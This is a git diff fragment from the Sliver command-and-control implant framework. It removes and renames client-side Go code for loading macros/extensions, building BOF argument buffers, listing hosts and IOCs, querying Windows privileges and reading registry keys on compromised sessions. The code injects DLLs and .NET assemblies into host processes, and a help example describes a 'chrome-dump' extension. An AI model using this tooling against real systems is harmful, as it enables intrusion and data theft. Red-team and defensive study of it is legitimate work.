ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
@@ -462,66 +335,5 @@ func cmdExists(name string, app *grumble.App) bool {
}
func init() {
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
commandMap = make(map[string]extension)
}
-2
View File
@@ -41,7 +41,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -71,7 +70,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
+1 -1
View File
@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
+12 -24
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.LoadExtensionStr: loadExtensionHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -89,7 +89,6 @@ var (
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
// Loot
consts.LootStr: lootHelp,
@@ -346,21 +345,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
Load an macro:
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
Load an extension:
load /tmp/chrome-dump
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
chrome-dump
├── chrome-dump.dll
├── chrome-dump.so
└── manifest.json
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
{
"macroName":"chrome-dump", // name of the macro, can be anything
"macroCommands":[
"extensionName":"chrome-dump", // name of the extension, can be anything
"extensionCommands":[
{
"name":"chrome-dump", // name of the command available in the sliver client (no space)
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -372,7 +371,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
"files":{
"x64":"chrome-dump.dll",
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
}
},
{
@@ -559,10 +558,7 @@ loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
reactions do not support variables or logic, they simply allow you to run verbatim
commands when an event occurs. To implement complex event-based logic we recommend
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
@@ -583,11 +579,7 @@ using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
The built-in reactions do not support variables or logic, they simply allow you to
run verbatim commands when an event occurs. To implement complex event-based logic
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
@@ -635,10 +627,6 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\u
# Use a local DLL as the reference DLL
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
`
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
)
-4
View File
@@ -1,4 +0,0 @@
Hosts
======
Command to access and manage host information.
-107
View File
@@ -1,107 +0,0 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// HostsIOCCmd - Remove a host from the database
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(host.IOCs) {
con.Printf("%s\n", hostIOCsTable(host, con))
} else {
con.Println()
con.PrintInfof("No IOCs tracked on host\n")
}
}
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleBold)
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
for _, ioc := range host.IOCs {
tw.AppendRow(table.Row{
ioc.Path,
ioc.FileHash,
})
}
return tw.Render()
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var iocMap = make(map[string]*clientpb.IOC)
for _, ioc := range host.IOCs {
keys = append(keys, ioc.ID)
iocMap[ioc.ID] = ioc
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
ioc := iocMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
ioc.Path,
ioc.FileHash,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return iocMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
-164
View File
@@ -1,164 +0,0 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// HostsCmd - Main hosts command
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if 0 < len(allHosts.Hosts) {
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
} else {
con.PrintInfof("No hosts\n")
}
}
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.AppendHeader(table.Row{
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
if len(host.HostUUID) < 8 {
shortID = host.HostUUID[:len(host.HostUUID)]
} else {
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
return "None"
}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return strings.Join(sessionNumbers, ", ")
}
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return []*clientpb.Session{}
}
hostSessions := []*clientpb.Session{}
for _, session := range sessions.Sessions {
if session.UUID == hostUUID {
hostSessions = append(hostSessions, session)
}
}
return hostSessions
}
// SelectHost - Interactively select a host from the database
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var hostMap = make(map[string]*clientpb.Host)
for _, host := range allHosts.Hosts {
keys = append(keys, host.HostUUID)
hostMap[host.HostUUID] = host
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
host := hostMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
host.Hostname,
host.OSVersion,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return hostMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
-4
View File
@@ -1,4 +0,0 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
-335
View File
@@ -1,335 +0,0 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
-99
View File
@@ -1,99 +0,0 @@
package privilege
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
nameColumnWidth = len(entry.Name)
}
if len(entry.Description) > descriptionColumnWidth {
descriptionColumnWidth = len(entry.Description)
}
}
// Give one more space
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Println("Privilege Information for Current Process")
con.Println("-----------------------------------------")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t(", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
con.Printf("Disabled")
}
if entry.EnabledByDefault {
con.Printf(", Enabled by Default")
}
if entry.Removed {
con.Printf(", Removed")
}
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf(")\n")
}
}
+4 -12
View File
@@ -49,20 +49,12 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: finalPath,
Path: regPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
-77
View File
@@ -1,77 +0,0 @@
package registry
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
path := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.Subkeys) > 0 {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
}
for _, subKey := range regList.Subkeys {
con.Println(subKey)
}
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
regPath := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.ValueNames) > 0 {
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
}
for _, val := range regList.ValueNames {
con.Println(val)
}
}
+4 -17
View File
@@ -72,10 +72,6 @@ func getType(t string) (uint32, error) {
// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
@@ -97,24 +93,15 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You must provide a path")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath = regPath[:pathBaseIdx]
key = regPath[pathBaseIdx+1:]
slashIndex := strings.LastIndex(regPath, "\\")
